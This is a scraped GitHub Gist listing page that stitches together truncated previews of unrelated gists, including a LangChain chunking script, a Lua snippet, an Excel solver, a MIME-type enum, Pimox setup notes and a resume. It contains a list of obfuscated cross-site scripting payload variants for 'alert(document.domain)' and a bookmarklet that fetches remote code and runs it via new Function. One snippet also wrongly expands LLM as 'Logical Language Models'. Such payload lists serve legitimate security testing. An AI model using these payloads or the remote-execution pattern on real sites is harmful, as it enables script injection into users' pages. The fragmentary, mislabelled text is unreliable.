Skip to content

Instantly share code, notes, and snippets.

@tazarov
tazarov / test_chunking_chroma.py
Last active April 23, 2024 20:48
An example of how one can chunk texts from large documents in chroma using langchain.
import uuid
from chromadb.utils import embedding_functions
from langchain.schema import Document
from langchain.text_splitter import RecursiveCharacterTextSplitter
long_text = """
The Downsides of LLMs (Logical Language Models)
In the age of artificial intelligence, Logical Language Models (LLMs) represent a significant leap forward in the field of natural language processing. These models are capable of comprehending, generating, and reasoning about human languages in a way that mimics human-like understanding. While the benefits of LLMs are numerous, it's essential to also recognize the downsides that accompany these advancements. This essay will explore the negative aspects of LLMs in terms of ethics, job displacement, security, and potential biases.
AddCSLuaFile()
do -- override type functions
gtype = type
local getmetatable = getmetatable
local rawequal = rawequal
getmetatable("").MetaName = "string"
solver=LAMBDA(grid,
LET(
numbers, SEQUENCE(9),
numgrid, SEQUENCE(9,9,0),
vgrid, TOCOL(grid*1),
pos, XMATCH(0,vgrid)-1,
IF(
ISNA(pos), grid,
LET(
i,INT(pos/9),
@hiaux0
hiaux0 / file-mime-types.ts
Last active April 23, 2024 20:43
Typescript Enum for file mime types
// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
enum MimeTypes {
".aac" = "audio/aac",
".abw" = "application/x-abiword",
".arc" = "application/x-freearc",
".avi" = "video/x-msvideo",
".azw" = "application/vnd.amazon.ebook",
".bin" = "application/octet-stream",
".bmp" = "image/bmp",
@tomnomnom
tomnomnom / alert.js
Last active April 23, 2024 20:42
Ways to alert(document.domain)
// How many ways can you alert(document.domain)?
// Comment with more ways and I'll add them :)
// I already know about the JSFuck way, but it's too long to add (:
// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);
@Michal-Mikolas
Michal-Mikolas / bookmarklets.js
Last active April 23, 2024 20:43
My Bookmarklets
// https://katanya.co.uk/labs/bookmarklet-generator
fetch('https://api.github.com/gists/77dabbdbf39f57fe6816dc9e00866bb9?rand=' + Math.ceil(Math.random()*9999))
.then(response => response.json())
.then(data => {
var scriptContent = data.files['bookmarklets.js'].content;
scriptContent = scriptContent.replaceAll('{{ID}}', '');
scriptContent = scriptContent.replaceAll('{{SECURITY_KEY}}', '');
const scriptFn = new Function(scriptContent);
scriptFn();
@crystianwendel
crystianwendel / DBHelper.cs
Last active April 23, 2024 20:41
DB Helper Class in C#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Data.SqlClient;
using System.Collections.Generic;
using System.Collections.Specialized;
namespace Helpers
@gtx28
gtx28 / Pimox7to8.txt
Last active April 23, 2024 20:40
Pimox7 to PVE8 upgrade
***Pi-Mox setup on raspberry pi 4b (cm4 you will need add the appropriate steps for your hw setup)
***None of this is "Prod" ready so use at your own risk, your VM's/Containers are your own responsibility. You should already have adequate backups etc.
***Raspberry PI OS setup
Install raspbian x64 lite on raspberry pi
pull the latest copy of Raspberry PI OS x64 lite based on debian 11 bullseye from here: https://www.raspberrypi.com/software/operating-systems/#raspberry-pi-os-64-bit
open imager, click choose os, scroll to the bottom and select custom. open the image "2023-05-03-raspios-bullseye-arm64-lite.img.xz"
@gtx28
gtx28 / pve8arm-fresh.txt
Last active April 23, 2024 20:39
PVE8-ARM fresh install
***Pi-Mox8 setup on raspberry pi 4b (cm4 you will need to add the appropriate steps for your hw setup)
***Raspberry PI OS setup
***Install raspbian x64 lite on raspberry pi
pull the latest copy of Raspberry Pi Imager, from here https://www.raspberrypi.com/software/ and Raspberry PI OS x64 lite based on debian 11 bullseye from here: https://www.raspberrypi.com/software/operating-systems/#raspberry-pi-os-64-bit
open imager, click choose os, scroll to the bottom and select custom. open the image "2023-05-03-raspios-bullseye-arm64-lite.img.xz"
{
"meta": {
"theme": "elegant"
},
"basics": {
"name": "Thomas Davis",
"label": "Web Developer",
"image": "https://avatars0.githubusercontent.com/u/416209?s=460&u=38f220a2c9c658141804f881c334c594eb1642ac&v=4",
"summary": "I'm a full stack web developer who can build apps from the ground up. I've worked mostly at startups so I am used to wearing many hats. I am a very product focused developer who prioritizes user feedback first and foremost. I'm generally very flexible when investigating new roles. ",
"website": "https://lordajax.com",